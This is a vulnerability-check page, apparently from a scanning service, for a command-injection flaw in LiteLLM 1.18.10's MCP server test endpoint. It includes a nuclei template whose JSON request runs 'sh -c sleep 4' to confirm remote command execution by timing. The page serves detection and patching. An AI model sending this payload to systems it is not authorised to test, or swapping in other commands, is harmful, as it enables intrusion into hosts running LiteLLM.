LiteLLM 1.18.10 - Command Injection

highseverity

6%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

LiteLLM 1.18.10 contains a remote code execution caused by lack of validation of arbitrary command and args in MCP server creation, letting attackers execute OS commands remotely, exploit requires crafted JSON configuration.

Impact

Attackers can execute arbitrary OS commands remotely with LiteLLM process privileges, potentially compromising the host system.

Fix

Update to the latest version of LiteLLM with validation for MCP server commands.

How to confirm it

Send: POST /mcp-rest/test/connection
Positive when: status 200 AND contains "Failed to connect to MCP server" AND not contains "not in the allowed commands list" or "Allowed commands" AND duration >= 4

Run it with nuclei: nuclei -id CVE-2026-30623 -u <target>

The full check

id: CVE-2026-30623

info:
  name: LiteLLM 1.18.10 - Command Injection
  author: leeseungsu
  severity: high
  description: |
    LiteLLM 1.18.10 contains a remote code execution caused by lack of validation of arbitrary command and args in MCP server creation, letting attackers execute OS commands remotely, exploit requires crafted JSON configuration.
  impact: |
    Attackers can execute arbitrary OS commands remotely with LiteLLM process privileges, potentially compromising the host system.
  remediation: |
    Update to the latest version of LiteLLM with validation for MCP server commands.
  reference:
    - https://docs.litellm.ai/blog/mcp-stdio-command-injection-april-2026
    - https://cveawg.mitre.org/api/cve/CVE-2026-30623
    - https://github.com/BerriAI/litellm
  classification:
    cve-id: CVE-2026-30623
    epss-score: 0.05952
    epss-percentile: 0.93336
    cwe-id: CWE-77
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2026,litellm,rce,authenticated,mcp

variables:
  marker: "{{randstr}}"

http:
  - raw:
      - |
        POST /mcp-rest/test/connection HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

        {
          "server_id": "nuclei-{{marker}}",
          "server_name": "nuclei-{{marker}}",
          "transport": "stdio",
          "command": "sh",
          "args": ["-c", "sleep 4"]
        }

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "Failed to connect to MCP server"

      - type: word
        part: body
        negative: true
        words:
          - "not in the allowed commands list"
          - "Allowed commands"

      - type: dsl
        dsl:
          - "duration >= 4"

References

Use this check only on systems you are authorised to test. Where the data comes from